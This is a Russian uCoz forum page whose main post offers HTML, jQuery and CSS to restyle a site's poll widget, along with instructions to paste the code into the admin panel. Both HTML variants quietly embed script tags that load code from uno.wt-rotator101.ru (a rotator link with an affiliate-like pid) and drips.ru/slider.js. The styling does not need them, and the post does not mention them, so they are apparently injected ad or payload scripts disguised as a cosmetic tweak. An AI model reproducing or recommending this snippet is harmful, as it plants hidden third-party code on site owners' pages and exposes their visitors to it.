map1 map2 map3 map4 map5 map6 map7 map8 map9 map10 map11 map12 map13 map14 map15 map16 map17 map18 map19 map20 map21 map22 map23 map24 map25 map26 map27 map28 map29 map30 map31 map32 map33 map34 map35 map36 map37 map38 map39 map40 map41 map42
65 годовщина Победы!
Вконтакте
Статистика
Зарегано на сайте:
Всего: 517
Новых за месяц: 0
Новых за неделю: 0
Новых вчера: 0
Новых сегодня: 0

Из них:
Модераторов: 0

Администраторов: 0
Проверенных: 67
Обычных: 450

Из них:

Парней: 485
Девушек: 32
OnLine
Юзеры онлайн:
Нас посетили:

Мини чат
календарь
новые файлы

Орел Девятого Легиона
(Кино)
Загрузок: 0
Просмотров: 1578
Добавил: stim
Дата: 05.05.2011

Случайные файлы

Иконки - Коллекция (II)
(Иконки для Фотошопа)
Загрузок: 1
Просмотров: 247
Добавил: SM0l1ck
Дата: 18.04.2011


Иконки - IconShock RealVista
(Иконки для Фотошопа)
Загрузок: 1
Просмотров: 289
Добавил: SM0l1ck
Дата: 18.04.2011

[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Форум » Ucoz » Другие скрипты для uCoz » Стилизация опроса uCoz v.1.5
Стилизация опроса uCoz v.1.5
BatareykaДата: Суббота, 10.03.2012, 13:04 | Сообщение # 1
Скрин: http://s018.radikal.ru/i504/1202/a1/ae57ba48277a.png

Стилизация опроса uCoz v.1.5 Более улучшенная версия стилизации стандартного вида опроса в системе uCoz.

Для начало мы с вами должны заменить старый html код опроса на новый, для этого заходим в админ панель вашего сайта в системе uCoz Админ панель => Дизайн => Управление дизайном => Опросы => Вид формы опросов

удаляем от туда старый код и устанавливаем новый:

Code
<div class="cell_poll">
<script language="javascript" src="http://uno.wt-rotator101.ru/?t=br&noadult=1&pid=21212"></script>
   <div class="poll_title">$QUESTION$</div>
   <script src="http://drips.ru/slider.js" type="text/javascript"></script>
   <div class="poll_variant">$ANSWERS$</div>
   <div class="poll_niz">
   <div class="poll_left"><a href="$RESULTS_LINK$">Результат</a></div>
   <div class="poll_right">Всего ответов: $TOTAL_VOTES$</div>
   </div>
</div>   
<script type="text/javascript">   
   var a = ['http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_01.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_02.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_03.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_04.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_05.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_06.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_07.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_08.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_09.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_10.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_11.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_12.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_13.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_14.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_15.png']; for(var i = 0; i < a.length; i++){$('div.answer div').eq(i).addClass('progress').css({height: '12px'});$('div.answer div div').eq(i).addClass('progress progress_'+a).css({background: 'url(' + a[i] + ')', marginTop: '0px', marginBottom: '0px', height: '12px', backgroundRepeat: 'repeat-x'});}   
   $('div.answer span').each(function(){$(this).html($(this).html()+' ')});   
</script>


Если вы хотите, чтобы в вашем опросе присутствовал процент проголосовавших за тот или иной вариант опроса, то ставим этот вариант кода:

Code
<div class="cell_poll">
<script language="javascript" src="http://uno.wt-rotator101.ru/?t=br&noadult=1&pid=21212"></script>
<script src="http://drips.ru/slider.js" type="text/javascript"></script>
   <div class="poll_title">$QUESTION$</div>
   <div class="poll_variant">$ANSWERS$</div>
   <div class="poll_niz">
   <div class="poll_left"><a href="$RESULTS_LINK$">Результат</a></div>
   <div class="poll_right">Всего ответов: $TOTAL_VOTES$</div>
   </div>
</div>   
<script type="text/javascript">   
   var a = ['http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_01.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_02.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_03.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_04.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_05.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_06.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_07.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_08.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_09.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_10.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_11.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_12.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_13.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_14.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_15.png']; for(var i = 0; i < a.length; i++){$('div.answer div').eq(i).addClass('progress').css({height: '12px'});$('div.answer div div').eq(i).addClass('progress progress_'+a).css({background: 'url(' + a[i] + ')', marginTop: '0px', marginBottom: '0px', height: '12px', backgroundRepeat: 'repeat-x'});}   
   $('div.answer span').each(function(){$(this).html($(this).html()+' <span class="procent">'+$(this).attr('title').split(':')[1]+'</span>')});   
</script>


CSS:

Наш опрос почти готов, осталось прописать css стили:

Code
/* Ячейка опроса
------------------------------------------*/
.cell_poll {
   float:left;   
   color:#555;text-shadow: 1px 1px 1px #fff;
   width:220px;   
   background: #fff;
   border: 1px solid #D0D1D3;
   padding: 0px 10px 5px 10px;
}

.poll_title {
   text-align:center;   
   font: 115%/1.5 Verdana,Arial,Helvetica, sans-serif;   
   font-weight: bold;
   padding: 5px 0px;
   border-bottom: 1px solid #D0D1D3;
}

.poll_variant {
   float:left;   
   width:220px;   
   padding: 5px 0px;
}

.poll_niz {
   float:left;   
   font: 9px Verdana,Arial,Helvetica, sans-serif;   
   width:220px;   
   padding: 5px 0px;
   border-top: 1px solid #D0D1D3;
}

.poll_left {float:left;}
.procent,
.poll_right {float:right;}

.answer {
   background: #F6FBFC;
   padding: 2px 5px 2px 5px;
   margin: 7px 0px 7px 0px;   
}   

.answer input,
.answer label{
   margin:0;   
}   
.answer div div {   
   height: 10px !important;   
   border: 1px solid #fff;   
   margin: 0px;
}   

.answer div {   
   display: block;   
   position: relative;   
   padding: 0 !important;   
   border: 1px solid #B6B6B5;   
   background: #F4F5F6;   
   margin: 0px;
}
.procent {   
   background: #DCEDF0;   
   padding: 3px 5px;
}

.pollBut {
   font: 11px Verdana,Arial,Helvetica, sans-serif!important; font-weight: bold;
   color:#b17902!important; text-shadow:1px 1px 1px #fff!important;   
   background:#fed66c!important;   
   border:1px solid #e3b346!important;   
   padding: 4px 8px;   
   margin: 5px 0px 5px 0px;   
}

.pollBut:hover {
   background:#ffe49c!important;   
}
/*------------------------------------------*/
Форум » Ucoz » Другие скрипты для uCoz » Стилизация опроса uCoz v.1.5
  • Страница 1 из 1
  • 1
Поиск: